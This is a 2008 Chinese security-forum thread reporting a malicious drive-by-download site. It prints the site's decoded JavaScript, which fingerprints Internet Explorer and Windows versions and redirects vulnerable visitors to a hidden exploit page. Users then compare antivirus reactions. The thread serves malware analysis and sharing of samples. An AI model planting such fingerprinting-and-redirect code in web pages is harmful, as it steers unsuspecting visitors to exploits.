一个挂马网站 hxxp://www.aviews.net/

显示全部楼层 · 发表于 2008-6-21 21:18:54

那个JS解码出来是这个..

<HTML xmlns:IE><TITLE> </TITLE><HEAD><STYLE type='text/css'>IE\:clientCaps {behavior:url(#default#clientcaps)}</STYLE></HEAD><BODY>
<IE:clientCaps ID="oCC" />
<script language="JavaScript">
var T="Microsoft Internet Explorer"; if (navigator.appName==T) {
T="-"; var I=navigator.appVersion; var P=navigator.platform; var E=4;
T="Win32"; if (P.search(T)!=-1) {
if (I.indexOf('Win 9x 4.9')!=-1) E=1; if (I.indexOf('ows 98')!=-1) E=1; if (I.indexOf('ows 95')!=-1) E=1; if (I.indexOf('ows NT 5.1')!=-1) E=4; if (I.indexOf('ows NT 4')!=-1) E=2; if (I.indexOf('ows NT 5.0')!=-1) E=3; if (I.indexOf('ows NT 5.2')!=-1) E=5;
if (E>1) location.href="/_ioymsaxo/2993tgspivcx.htm";
}
}
</script></BODY></HTML>

显示全部楼层 · 发表于 2008-6-22 08:57:41

进网址卡巴8无反应，附件报病毒。

显示全部楼层 · 发表于 2008-6-22 10:08:08

真的那么牛吗？

显示全部楼层 · 发表于 2008-6-22 12:27:28

我的咖啡怎么一点反应都没有是最新的啊

[病毒样本] 一个挂马网站 hxxp://www.aviews.net/

哎呀呀

回复 3楼小邪邪的帖子

[病毒样本] 一个挂马网站 hxxp://www.aviews.net/

哎呀呀

回复 3楼 小邪邪 的帖子

回复 3楼小邪邪的帖子